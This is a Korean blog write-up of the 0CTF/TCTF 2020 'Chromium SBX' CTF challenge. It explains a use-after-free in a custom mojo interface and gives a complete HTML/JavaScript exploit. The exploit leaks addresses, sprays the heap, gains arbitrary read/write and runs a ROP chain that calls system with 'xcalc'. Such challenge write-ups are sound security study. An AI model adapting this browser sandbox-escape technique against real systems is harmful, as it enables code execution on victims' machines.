0CTF/TCTF 2020 Quals - Chromium SBX

Posted on Aug 14, 2020

mojo에서 터지는 건 처음 해봐서 어렵긴 한데 그만큼 재밌다

라업 참고하면서 푼 거라

https://balsn.tw/ctf_writeup/20200627-0ctf_tctf2020quals/#chromium-sbx

이거 보시는 게 백배 나을 겁니다 zz

attachment는 아래에서

https://github.com/sajjadium/CTFium/tree/master/0CTF/2020/Quals/chromium_sbx

Vulnerability

우선 diff 를 보면 mojo 인터페이스 두 개 (TStorage, TInstance)를 구현해놨다.

TInstance는 여러 종류의 데이터 저장/반환 (Push, Pop, Set, Get, SetInt, 등등) 이 가능하고, TStorage는 Pie, Libc 주소를 릭 해주는 함수를 내장되어 있으며 TInstance를 객체 필드로 가진다.

interface TStorage {
    Init() => ();
    CreateInstance() => (pending_remote<blink.mojom.TInstance> instance);
    GetLibcAddress() => (uint64 addr);
    GetTextAddress() => (uint64 addr);
};

interface TInstance {
    Push(uint64 value) => ();
    Pop() => (uint64 value);
    Set(uint64 index, uint64 value) => ();
    Get(uint64 index) => (uint64 value);
    SetInt(int64 value) => ();
    GetInt() => (int64 value);
    SetDouble(double value) => ();
    GetDouble() => (double value);
    GetTotalSize() => (int64 size);
};

전체적인 구현 내용은 어렵지 않아서 생략하고, 취약점은 아래 코드에서 터진다.

TInstanceImpl::TInstanceImpl(InnerDbImpl* inner_db) : weak_factory_(this) {
    inner_db_ptr_ = inner_db;
}

void TStorageImpl::CreateInstance(CreateInstanceCallback callback) {
    mojo::PendingRemote<blink::mojom::TInstance> instance;
    mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()),
                                instance.InitWithNewPipeAndPassReceiver());

    std::move(callback).Run(std::move(instance));
}

TStorageImpl::CreateInstance 를 보면, unique_ptr 포인터인 inner_db_ 가 가르키는 주소값을 .get() 으로 가져와서 이를 다른 unique_ptr 의 생성자에 인자로 넘기고 있다.

그런데 여기서 unique_ptr를 위와 같이 사용하는 것, 즉 .get() 으로 얻은 주소를 다른 unique_ptr이 가르키게 하는 것은 cpp reference 에서 금지하는 사항이다.

하나의 객체 주소가 여러 곳에서 참조되는 것을 방지하는 unique_ptr 이라도 .get() 의 호출은 포인터가 그 주소를 더 이상 관리(소유)하지 않는다는 뜻이 아니기 때문에, 같은 주소를 가르키는 새로운 unique_ptr이 생성되어도 원래의 unique_ptr이 소멸하지 않기 때문이다.

그렇게 생성된 새로운 unique_ptr은 TInstanceImpl→inner_db_ptr_ 에 저장되는데, 이렇게 되면TInstanceImpl->inner_db_ptr_TStorageImpl->inner_db_ 는 같은 주소를 가르키게 된다.

여기서 inner_db_ 가 해제된다면? inner_db_ptr_ 은 dangling pointer가 되고 UAF가 터진다는 뜻이다.

void TStorageImpl::Init(InitCallback callback) {
    inner_db_ = std::make_unique<InnerDbImpl>();

    std::move(callback).Run();
}

inner_db_ 를 해제하려면 Init 을 여러 번 호출 해 기존 inner_db_ 가 가르키는 포인터를 해제시켜도 되고, 그냥 .reset() 해도 된다.

Exploit

inner_db_ptr_ 이 dangling pointer로 남아있는 상황이라, 해당 주소를 컨트롤 할 수 있다면 구조체 필드를 조작해서 aaw/aar 이 모두 가능하다.

문제는 어떻게 그 주소를 다시 할당 받아 값을 써주냐인데, 당연히 glibc에서 ptmalloc2 끌어와서 쓸리는 없고, 자기네들이 만든 Blink의 PartitionAlloc를 사용한다.

물론 지금 나는 PartitionAlloc 쪽 지식이 전무하기 때문에 힙 스프레이 뿌려 놓고 return to jesus 를 해줬다.

정리해보면

  1. libc, text 릭
  2. TStorage, TInstance 객체를 많이 만들어 줌
  3. TStorage.ptr.reset 으로 죄다 해제해 줌
    • 모든 TInstance의 inner_db_ptr이 dangling pointer 인 상태
  4. TInstance를 비슷한 숫자로 생성하며 Tinstance.push()로 Heap Spray 를 해줌.
  5. 보관해둔 TInstance를 모두 체크하며 객체 안에 Spray 한 값이 적혔기를 기도함
  6. Heap Spray가 성공한 포인터가 있으면, queue_ 포인터를 덮어서 aaw/aar 확보
  7. bss 같이 적당한 영역에 rop 페이로드를 적고, vtable 주소를 덮어서 RCE
    • getTotalSize 메소드가 [rax+0x18] 호출이라, xchg rsp rax; ret; 으로 pivoting 하고 add rsp, 0x18; ret; 으로 여유있는 공간으로 뛰었다.

exp.html

<html>
    <pre id='log'></pre>
    <script src="./mojo_js/mojo_bindings.js"></script>
    <script src="./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>

    <script>
        function print(res){
            var go = document.getElementById('log');
            go.innerText += res+'\n';
        }
        function hex(data){
            return '0x'+data.toString(16);
        }

        (async function exp()
            {
                print('[*] Exploit start');

                tsLeak = new blink.mojom.TStoragePtr();
                Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tsLeak).handle);
                await tsLeak.init(); // inner_db_ is set to new InnerDbImpl object

                var libc = (await tsLeak.getLibcAddress()).addr - 0x40730;
                var text = (await tsLeak.getTextAddress()).addr - 0xc77e60;

                print('[*] Libc : ' + hex(libc));
                print('[*] Text : ' + hex(text));
                
                var arrTStorage = [];
                var arrTInstance = [];

                for (var i=0; i<0x400; i++){
                    arrTStorage[i] = new blink.mojom.TStoragePtr();
                    Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(arrTStorage[i]).handle);
                    await arrTStorage[i].init();
                }
                print('[*] Created TStorage Pool');

                for (var i=0; i<0x400; i++){
                    arrTInstance[i] = (await arrTStorage[i].createInstance()).instance;
                    
                }
                print('[*] Created TInstance Pool');

                for (var i=0; i<0x200; i++){
                    await arrTStorage[i].ptr.reset(); // every arrTInstance[i] is dangling pointer
                }
                print('[*] Triggered UAF');

                var stack = text + 0x7d06000;
                var xchg_rsp_rax = text + 0x52a08e4;
                var add_rsp_ret = libc + 0x3ec11;
                var prdi = libc + 0x2155f;
                var system = libc + 0x4f4e0;

                for (var i=0; i<0x300; i++){
                    tsSpray = new blink.mojom.TStoragePtr();
                    Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tsSpray).handle);
                    await tsSpray.init();
                    ti = (await tsSpray.createInstance()).instance;

                    // Heap Spray
                    for (var j=0; j<0x18; j++)
                        ti.push(stack);
                        ti.push(0);
                        ti.push(0xd1d1);
                        ti.push(0xd2d2);
                        ti.push(0xd3d3);
                        ti.push(0xd4d4);
                }

                for (var i=0; i<0x400; i++){
                    var val = (await arrTInstance[i].getInt()).value;
                    if (val==0xd1d1) {
                        print('[*] Heap Spray Success');

                        await arrTInstance[i].setInt(0x31787280);
                        await arrTInstance[i].push(add_rsp_ret);
                        await arrTInstance[i].push(0x78787878);
                        await arrTInstance[i].push(xchg_rsp_rax); // rip
                        await arrTInstance[i].push(0xdadadada);
                        await arrTInstance[i].push(prdi);
                        await arrTInstance[i].push(stack+0x38);
                        await arrTInstance[i].push(system);
                        await arrTInstance[i].push(0x636c616378); // xcalc
                        
                        print('[*] Executing arbitrary code');
                        await arrTInstance[i].getTotalSize();
                    }
                }

                print("FUCK");
            }
        )(); 
    </script>
</html>

확률이 높지는 않다;; 스프레이 잘 해주면 오를듯

이번 달 안에 풀 체인 짜 보는게 목표다.

근데 그 전에 올해 plaid ctf에 mojo 나왔던 것도 풀어봐야 할 듯